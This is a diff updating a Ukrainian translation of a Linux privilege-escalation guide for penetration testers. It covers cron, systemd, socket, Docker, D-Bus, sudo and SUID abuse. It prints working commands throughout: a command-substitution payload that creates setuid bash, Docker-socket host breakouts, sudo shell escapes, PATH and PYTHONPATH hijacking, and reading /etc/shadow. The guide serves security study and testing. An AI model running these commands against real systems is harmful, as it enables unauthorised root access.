-352,9 +353,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash виконує parameter expansion і command substitution перед arithmetic evaluation в ((...)), $((...)) та let. Якщо root cron/parser читає untrusted log fields і підставляє їх в arithmetic context, нападник може інжектувати command substitution $(...), який виконається як root коли cron запуститься. +Bash виконує parameter expansion і command substitution перед arithmetic evaluation у ((...)), $((...)) та let. Якщо root cron/parser читає недовірені поля журналу і передає їх в арифметичний контекст, атакуючий може інжектувати command substitution $(...), який виконається під root під час запуску cron. -- Чому це працює: У Bash, expansions відбуваються в такому порядку: parameter/variable expansion, command substitution, arithmetic expansion, потім word splitting і pathname expansion. Тому значення на кшталт `$(/bin/bash -c 'id > /tmp/pwn')0` спочатку підставляється (виконуючи команду), а потім залишковий числовий `0` використовується для арифметики, тож скрипт продовжує роботу без помилок. +- Why it works: У Bash розширення відбуваються в такому порядку: parameter/variable expansion, command substitution, arithmetic expansion, потім word splitting і pathname expansion. Отже значення типу `$(/bin/bash -c 'id > /tmp/pwn')0` спочатку підставляється (команда виконується), а залишкове числове `0` використовується для арифметики, тому скрипт продовжує виконання без помилок. - Typical vulnerable pattern: ```bash @@ -366,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid. +- Exploitation: Запишіть керований атакуючим текст у той журнал, який парситься, так щоб поле, що виглядає як число, містило command substitution і завершувалося цифрою. Переконайтесь, що ваша команда не виводить на stdout (або перенаправте вивід), щоб арифметика залишалася валідною. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -374,41 +375,43 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ``` ### Cron script overwriting and symlink + +Якщо ви **can modify a cron script** executed by root, ви дуже просто можете отримати shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Якщо script, який виконується від root, використовує **директорію, до якої у вас повний доступ**, можливо, буде корисно видалити цю папку і **створити symlink до іншої папки**, яка містить скрипт під вашим контролем. +Якщо скрипт, що виконується під root, використовує **directory where you have full access**, можливо, буде корисно видалити цю папку і **create a symlink folder to another one**, яка вказуватиме на іншу папку з script під вашим контролем. ```bash ln -d -s ``` -### Frequent cron jobs +### Часті cron jobs Ви можете моніторити процеси, щоб знайти ті, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і підвищити привілеї. -Наприклад, щоб **моніторити кожні 0.1s протягом 1 хвилини**, **сортувати за найменш виконуваними командами** та видалити команди, які були виконані найчастіше, ви можете зробити так: +Наприклад, щоб **моніторити кожні 0.1s протягом 1 хвилини**, **відсортувати за найменш виконуваними командами** і видалити команди, які виконувалися найчастіше, ви можете зробити: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (це моніторитиме й перераховуватиме кожен процес, який запускається). +**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (воно відстежуватиме і перераховуватиме кожен процес, що запускається). ### Невидимі cron jobs -Можна створити cronjob, **помістивши carriage return після коментаря** (без символу нового рядка), і cron job працюватиме. Приклад (зверніть увагу на символ carriage return): +Можна створити cronjob, **поставивши символ повернення каретки після коментаря** (без символу нового рядка), і cronjob працюватиме. Приклад (зверніть увагу на символ повернення каретки): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Сервіси +## Служби -### Файли _.service_, доступні для запису +### _.service_ файли, доступні для запису -Перевірте, чи можете записати будь-який `.service` файл; якщо так, ви **можете змінити його**, щоб він **виконував** ваш **backdoor** коли служба **запускається**, **перезапускається** або **зупиняється** (можливо, доведеться почекати, поки машина не перезавантажиться).\ -Наприклад створіть ваш backdoor всередині .service файлу з **`ExecStart=/tmp/script.sh`** +Перевірте, чи можете записати будь-який файл `.service`. Якщо можете, ви **можете змінити його** так, щоб він **виконував** ваш **backdoor коли** служба **запускається**, **перезапускається** або **зупиняється** (можливо, доведеться зачекати до перезавантаження машини).\ +Наприклад, створіть ваш backdoor всередині файлу .service з **`ExecStart=/tmp/script.sh`** ### Бінарні файли сервісів, доступні для запису -Майте на увазі, що якщо у вас є **write permissions over binaries being executed by services**, ви можете змінити їх на backdoors, тож при повторному виконанні сервісів backdoors будуть виконані. +Майте на увазі, що якщо у вас є **права на запис у бінарні файли, які виконуються сервісами**, ви можете змінити їх на backdoors, тож при повторному запуску сервісів backdoors виконуватимуться. ### systemd PATH - Відносні шляхи @@ -416,78 +419,78 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -Якщо ви виявите, що можете **записувати** в будь-яку з папок цього шляху, ви, можливо, зможете **escalate privileges**. Потрібно шукати **відносні шляхи, які використовуються у файлах конфігурації сервісів**, наприклад: +Якщо ви виявите, що можете **записувати** в будь-яку з папок цього шляху, ви можете мати можливість **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних файлах сервісів**, такі як: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Потім створіть **executable** з **same name as the relative path binary** всередині systemd PATH folder, у який ви маєте право запису, і коли службі буде наказано виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor** буде виконано (непривілейовані користувачі зазвичай не можуть запускати/зупиняти служби, але перевірте, чи можете використати `sudo -l`). +Потім створіть **виконуваний файл** з **тим самим ім'ям, що й бінарний файл за відносним шляхом** у теці PATH systemd, в яку ви маєте права запису, і коли сервіс буде запрошено виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor буде виконано** (звичайні користувачі без привілеїв зазвичай не можуть запускати/зупиняти сервіси, проте перевірте, чи можете використати `sudo -l`). -**Learn more about services with `man systemd.service`.** +**Дізнайтеся більше про сервіси за допомогою `man systemd.service`.** ## **Таймери** -**Таймери** — це unit-файли systemd, чиї імена закінчуються на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій і монотонних тайм-подій та можуть виконуватися асинхронно. +**Таймери** — це systemd unit-файли, назва яких закінчується на `**.timer**`, які керують файлами або подіями `**.service**`. **Таймери** можна використовувати як альтернативу cron, оскільки вони мають вбудовану підтримку календарних подій часу та монотонних подій часу і можуть виконуватися асинхронно. Ви можете перерахувати всі таймери за допомогою: ```bash systemctl list-timers --all ``` -### Таймери, доступні для запису +### Записувані таймери -Якщо ви можете змінити таймер, ви можете змусити його запускати деякі існуючі одиниці systemd.unit (наприклад `.service` або `.target`) +Якщо ви можете змінити таймер, ви можете змусити його виконати деякі існуючі одиниці systemd.unit (наприклад `.service` або `.target`) ```bash Unit=backdoor.service ``` У документації можна прочитати, що таке Unit: -> Unit, який буде активовано, коли цей timer спрацює. Аргумент — це ім'я unit, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням відповідає service, що має те саме ім'я, що й timer unit, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я unit, яке активується, і ім'я unit таймера були однаковими, за винятком суфікса. +> Unit, який потрібно активувати, коли цей timer спрацює. Аргумент — це ім'я unit, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням відповідає service з тим же ім'ям, що й timer unit, за винятком суфікса. (See above.) Рекомендовано, щоб ім'я unit, яке активується, і ім'я timer unit мали однакові назви, відмінні лише суфіксом. -Отже, щоб зловживати цією привілеєю, вам потрібно: +Отже, щоб зловживати цим дозволом, вам потрібно: -- Знайти якийсь systemd unit (наприклад, `.service`), який **виконує записуваний бінарний файл** -- Знайти якийсь systemd unit, який **виконує відносний шлях** і над яким ви маєте **права запису** у **systemd PATH** (щоб імітувати цей виконуваний файл) +- Знайти systemd unit (наприклад, `.service`), який **виконує бінарний файл, у який можна записувати** +- Знайти systemd unit, який **виконується за відносним шляхом** і над яким у вас є **права на запис** у **systemd PATH** (щоб підмінити цей виконуваний файл) **Дізнайтеся більше про таймери за допомогою `man systemd.timer`.** ### **Увімкнення таймера** -Щоб увімкнути таймер, потрібні права root і виконати: +Щоб увімкнути таймер, потрібні привілеї root та потрібно виконати: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Зверніть увагу, **таймер** **активується**, створивши символічне посилання на нього в `/etc/systemd/system/.wants/.timer` -## Sockets +## Сокети -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +Unix Domain Sockets (UDS) забезпечують **зв’язок між процесами** на тій самій або різних машинах у рамках клієнт‑серверної моделі. Вони використовують стандартні Unix дескрипторні файли для міжмашинного обміну й налаштовуються через `.socket` файли. -Sockets can be configured using `.socket` files. +Сокети можна налаштувати за допомогою `.socket` файлів. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**Детальніше про сокети — у `man systemd.socket`.** У цьому файлі можна налаштувати кілька цікавих параметрів: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці опції відрізняються, але узагальнення використовується, щоб **вказати, де буде прослуховуватися** сокет (шлях файлу AF_UNIX, IPv4/6 і/або номер порту для прослуховування тощо). +- `Accept`: Приймає булевий аргумент. Якщо **true**, для кожного вхідного з'єднання **спавниться service instance** і лише сокет цього з'єднання передається йому. Якщо **false**, усі слухаючі сокети передаються **запущеній service unit**, і створюється лише один service unit для всіх з'єднань. Це значення ігнорується для datagram сокетів і FIFO, де один service unit беззастережно обробляє весь вхідний трафік. **Defaults to false**. З міркувань продуктивності рекомендується писати нові демони так, щоб вони підходили для `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Приймають одну або кілька командних рядків, які **виконуються перед** або **після** створення та прив’язки прослуховуючих **sockets**/FIFO відповідно. Перший токен командного рядка має бути абсолютним шляхом до файлу, після нього — аргументи процесу. +- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** закриття та видалення прослуховуючих **sockets**/FIFO відповідно. +- `Service`: Вказує ім'я **service** unit, яке потрібно **активувати** при **вхідному трафіку**. Ця опція дозволена лише для сокетів з `Accept=no`. За замовчуванням використовується service з тим же ім'ям, що й сокет (з відповідною заміною суфікса). У більшості випадків використання цієї опції не є необхідним. ### Записувані .socket файли -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Якщо ви знайдете **доступний для запису** `.socket` файл, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor` і backdoor буде виконано перед створенням сокета. Тому, **ймовірно, доведеться дочекатися перезавантаження машини.**\ +_Зверніть увагу, що система має використовувати саме цю конфігурацію socket-файлу, інакше backdoor не буде виконано_ -### Записувані sockets +### Сокети, доступні для запису -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. +Якщо ви **виявите будь-який сокет, доступний для запису** (_йдеться про Unix Sockets, а не про конфігураційні `.socket` файли_), то **ви зможете спілкуватися** з цим сокетом і, можливо, використати вразливість. -### Перерахування Unix Sockets +### Перерахування Unix сокетів ```bash netstat -a -p --unix ``` -### Сире з'єднання +### Raw-з'єднання ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -496,7 +499,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Приклад експлуатації:** {{#ref}} @@ -505,36 +508,36 @@ socket-command-injection.md ### HTTP sockets -Зверніть увагу, що можуть бути деякі **sockets, що прослуховують HTTP** запити (_Я не маю на увазі .socket files, а файли, що виступають як unix sockets_). Ви можете перевірити це за допомогою: +Зверніть увагу, що можуть бути деякі **sockets listening for HTTP** requests (_я не маю на увазі .socket files, а файли, що виступають як unix sockets_). Ви можете перевірити це за допомогою: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Якщо socket **відповідає на HTTP** запит, то ви можете **спілкуватися** з ним і, можливо, **exploit some vulnerability**. +Якщо сокет **відповідає на HTTP** запит, то ви можете **спілкуватися** з ним і, можливо, **використати якусь вразливість**. -### Docker socket доступний для запису +### Доступний для запису Docker socket -Docker socket, який часто знаходиться за шляхом `/var/run/docker.sock`, є критичним файлом, який слід захистити. За замовчуванням він доступний для запису користувачеві `root` та членам групи `docker`. Наявність прав на запис цього socket може призвести до privilege escalation. Нижче наведено пояснення, як це можна зробити, а також альтернативні методи на випадок, якщо Docker CLI недоступний. +Docker socket, часто розташований за адресою `/var/run/docker.sock`, є критичним файлом, який потрібно захистити. За замовчуванням він доступний для запису користувачеві `root` та членам групи `docker`. Наявність прав запису до цього сокета може призвести до privilege escalation. Нижче наведено розбір того, як це можна зробити, та альтернативні методи, якщо Docker CLI недоступний. #### **Privilege Escalation with Docker CLI** -Якщо ви маєте права запису до Docker socket, ви можете escalate privileges за допомогою наведених нижче команд: +Якщо у вас є права запису до Docker socket, ви можете escalate privileges за допомогою наступних команд: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ці команди дозволяють запустити контейнер з доступом root до файлової системи хоста. +Ці команди дозволяють запустити контейнер з root-доступом до файлової системи хоста. -#### **Використання Docker API безпосередньо** +#### **Using Docker API Directly** -У випадках, коли Docker CLI недоступний, Docker socket все одно можна використовувати через Docker API та команди `curl`. +У випадках, коли Docker CLI недоступний, Docker socket все ще можна маніпулювати за допомогою Docker API та команд `curl`. -1. **List Docker Images:** Отримати список доступних образів. +1. **List Docker Images:** Отримайте список доступних образів. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Надішліть запит на створення контейнера, який монтує кореневий каталог системи хоста. +2. **Create a Container:** Надішліть запит на створення контейнера, який монтує кореневий каталог хост-системи. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -546,7 +549,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Підключіться до контейнера за допомогою `socat`, щоб встановити з’єднання та виконувати команди в його контексті. +3. **Attach to the Container:** Використайте `socat` для встановлення з'єднання з контейнером, що дозволяє виконувати команди всередині нього. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -556,13 +559,13 @@ Connection: Upgrade Upgrade: tcp ``` -Після встановлення з’єднання через `socat` ви можете виконувати команди безпосередньо в контейнері з доступом root до файлової системи хоста. +Після налаштування `socat`-з'єднання ви можете виконувати команди безпосередньо в контейнері з root-доступом до файлової системи хоста. ### Інше -Зауважте, що якщо у вас є права запису на docker socket через те, що ви **є у групі `docker`**, у вас є [**більше способів ескалації привілеїв**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API слухає на порту** ви також зможете його скомпрометувати](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Зауважте, що якщо у вас є права на запис до docker socket, бо ви **знаходитесь у групі `docker`**, у вас є [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Перевірте **більше способів вийти з docker або зловживати ним для ескалації привілеїв** у: +Перегляньте **більше способів вийти з docker або зловживати ним для підвищення привілеїв** у: {{#ref}} @@ -571,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Якщо ви виявите, що можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**: +Якщо ви можете використовувати команду **`ctr`**, ознайомтеся зі наступною сторінкою, оскільки **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -580,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Якщо ви виявите, що можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**: +Якщо ви можете використовувати команду **`runc`**, ознайомтеся зі наступною сторінкою, оскільки **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -589,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus — це розвинена **система міжпроцесної комунікації (IPC)**, яка дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної Linux-системи, вона пропонує надійну основу для різних форм взаємодії між додатками. +D-Bus — це складна система міжпроцесної комунікації (IPC), що дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної Linux-системи, вона пропонує надійну основу для різних форм взаємодії між додатками. -Система є універсальною: вона підтримує базовий IPC, що покращує обмін даними між процесами, нагадуючи розширені UNIX domain sockets. Крім того, вона допомагає транслювати події або сигнали, сприяючи безшовній інтеграції компонентів системи. Наприклад, сигнал від Bluetooth daemon про вхідний дзвінок може змусити програвач музики заглушити звук, покращуючи досвід користувача. Додатково, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити служб і виклики методів між додатками, оптимізуючи процеси, які раніше були складними. +Система є універсальною, підтримує базову IPC, що покращує обмін даними між процесами, подібно до enhanced UNIX domain sockets. Крім того, вона допомагає транслювати події або сигнали, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth-демона про вхідний виклик може змусити музичний плеєр приглушити звук, покращуючи досвід користувача. Додатково, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити сервісів і виклики методів між додатками, оптимізуючи процеси, які раніше були складними. -D-Bus працює за **моделлю allow/deny**, керуючи дозволами на повідомлення (виклики методів, відправлення сигналів тощо) на основі сумарного ефекту відповідних правил політики. Ці політики вказують, які взаємодії дозволені з шиною, і потенційно можуть призвести до privilege escalation через експлуатацію цих дозволів. +D-Bus працює за моделлю **allow/deny**, керуючи дозволами повідомлень (виклики методів, відправлення сигналів тощо) на основі сукупного ефекту правил політики, що збігаються. Ці політики визначають взаємодію з шиною, потенційно дозволяючи privilege escalation через експлуатацію цих дозволів. -Наведено приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf`, що деталізує дозволи для користувача root на володіння, надсилання та отримання повідомлень від `fi.w1.wpa_supplicant1`. +Наведено приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf`, який деталізує дозволи для користувача root на володіння, відправлення та отримання повідомлень від `fi.w1.wpa_supplicant1`. -Політики без вказаного користувача або групи застосовуються універсально, тоді як політики контексту "default" застосовуються до всіх, не охоплених іншими конкретними політиками. +Політики без вказаного користувача або групи застосовуються універсально, тоді як політики з контекстом "default" застосовуються до всіх, хто не покривається іншими конкретними політиками. ```xml @@ -606,7 +609,7 @@ D-Bus працює за **моделлю allow/deny**, керуючи дозво ``` -**Дізнайтеся, як enumerate та exploit D-Bus communication тут:** +**Дізнайтеся, як enumerate and exploit D-Bus комунікацію тут:** {{#ref}} @@ -615,7 +618,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Мережа** -Завжди цікаво enumerate мережу та визначити положення машини. +Завжди цікаво enumerate мережу й з'ясувати розташування машини. ### Загальна enumeration ```bash @@ -642,22 +645,22 @@ lsof -i ``` ### Відкриті порти -Завжди перевіряйте мережеві сервіси, що працюють на машині, з якими ви не могли взаємодіяти перед тим, як отримати до неї доступ: +Завжди перевіряйте мережеві сервіси на машині, з якими ви не могли взаємодіяти до отримання доступу: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Перевірте, чи можете sniff traffic. Якщо так, ви зможете отримати деякі облікові дані. +Перевірте, чи можете sniff трафік. Якщо так, ви зможете отримати деякі credentials. ``` timeout 1 tcpdump ``` ## Користувачі -### Загальна інвентаризація +### Загальне перерахування -Перевірте, **хто** ви, які **привілеї** у вас є, які **користувачі** є в системі, хто може **login** і які мають **root privileges**: +Перевірте **хто** ви, які **привілеї** у вас є, які **користувачі** є в системі, хто може **увійти** і хто має **root-права:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -679,14 +682,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Великий UID -Деякі версії Linux постраждали від бага, який дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -Експлуатувати його можна за допомогою: **`systemd-run -t /bin/bash`** +Деякі версії Linux були вражені помилкою, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) та [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Групи -Перевірте, чи є ви **членом якоїсь групи**, яка могла б надати вам root privileges: +Перевірте, чи є ви **членом якоїсь групи**, що може надати вам root-привілеї: {{#ref}} @@ -695,7 +698,7 @@ interesting-groups-linux-pe/ ### Буфер обміну -Перевірте, чи знаходиться в буфері обміну щось цікаве (якщо можливо) +Перевірте, чи є в буфері обміну щось цікаве (якщо можливо) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -710,20 +713,20 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Known passwords +### Відомі паролі -Якщо ви **знаєте будь-який пароль** середовища, **спробуйте увійти під кожного користувача**, використавши цей пароль. +Якщо ви **знаєте будь-який пароль** середовища, **спробуйте увійти під кожного користувача**, використовуючи цей пароль. ### Su Brute -Якщо вам не важливо створювати багато шуму і на комп'ютері присутні бінарні файли `su` та `timeout`, ви можете спробувати brute-force користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Якщо вам не важливий великий шум і на комп'ютері присутні бінарні файли `su` і `timeout`, ви можете спробувати brute-force користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також намагається brute-force користувачів. -## Writable PATH abuses +## Зловживання записом у $PATH ### $PATH -Якщо ви виявите, що можете **записувати в якийсь каталог із $PATH**, ви можете підвищити привілеї, **створивши backdoor у записуваному каталозі** з ім'ям якоїсь команди, яка буде виконана іншим користувачем (ідеально — root) і яка **не завантажується з каталогу, що розташований перед** вашим записуваним каталогом у $PATH. +Якщо ви виявите, що можете **записувати в якусь папку з $PATH**, ви можете підвищити привілеї, **створивши backdoor у записній папці** з іменем команди, яка буде виконана іншим користувачем (бажано root), і яка **не завантажується з папки, що розташована раніше** за вашу записну папку в $PATH. ### SUDO and SUID @@ -732,7 +735,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Деякі **неочікувані команди дозволяють читати та/або записувати файли або навіть виконувати команду.** Наприклад: +Деякі **несподівані команди дозволяють читати і/або записувати файли або навіть виконувати команду.** Наприклад: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -743,31 +746,31 @@ less>! ``` ### NOPASSWD -Конфігурація sudo може дозволити користувачу виконувати певну команду з привілеями іншого користувача без знання пароля. +Конфігурація sudo може дозволяти користувачу виконувати певні команди з привілеями іншого користувача без знання пароля. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -У цьому прикладі користувач `demo` може запускати `vim` як `root`, тепер тривіально отримати shell, додавши ssh key у каталог `root` або викликавши `sh`. +У цьому прикладі користувач `demo` може запускати `vim` як `root`, тепер тривіально отримати shell, додавши ssh key у кореневий каталог або викликавши `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ця директива дозволяє користувачу **встановити змінну середовища** під час виконання чогось: +Ця директива дозволяє користувачеві **set an environment variable** під час виконання чогось: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Цей приклад, **based on HTB machine Admirer**, був **vulnerable** до **PYTHONPATH hijacking**, що дозволяло завантажити довільну python бібліотеку під час виконання скрипта як root: +Цей приклад, **based on HTB machine Admirer**, був **вразливий** до **PYTHONPATH hijacking**, що дозволяло завантажити довільну python library під час виконання скрипта від імені root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo execution bypassing paths +### Sudo обход шляхів виконання -**Jump** щоб прочитати інші файли або використовувати **symlinks**. Наприклад, у sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Перейдіть** щоб прочитати інші файли або використайте **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -784,23 +787,23 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Контрзаходи**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary без вказівки шляху до команди +### Sudo command/SUID binary без вказаного шляху до команди -Якщо **дозвіл sudo** надається для однієї команди **без вказівки шляху**: _hacker10 ALL= (root) less_, ви можете скористатися цим, змінивши змінну PATH +Якщо **sudo permission** надається для однієї команди **без вказання шляху**: _hacker10 ALL= (root) less_ ви можете скористатися цим, змінивши змінну PATH. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Цю техніку також можна використовувати, якщо **suid** бінарний файл **виконує іншу команду без вказання шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінарного файлу)**). +Цю техніку також можна використовувати, якщо **suid** бінарний файл **виконує іншу команду, не вказуючи шлях до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінарного файлу)**. -[Payload examples to execute.](payloads-to-execute.md) +[Приклади Payload для виконання.](payloads-to-execute.md) -### SUID бінарний файл з вказаним шляхом команди +### SUID бінарний файл зі шляхом до команди -Якщо **suid** бінарний файл **виконує іншу команду з вказаним шляхом**, тоді можна спробувати **експортувати функцію**, названу так само, як команда, яку викликає suid файл. +Якщо **suid** бінарний файл **виконує іншу команду з вказаним шляхом**, тоді ви можете спробувати **export a function** з іменем тієї команди, яку викликає suid файл. -Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію та експортувати її: +Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_ вам потрібно спробувати створити функцію та export її: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s 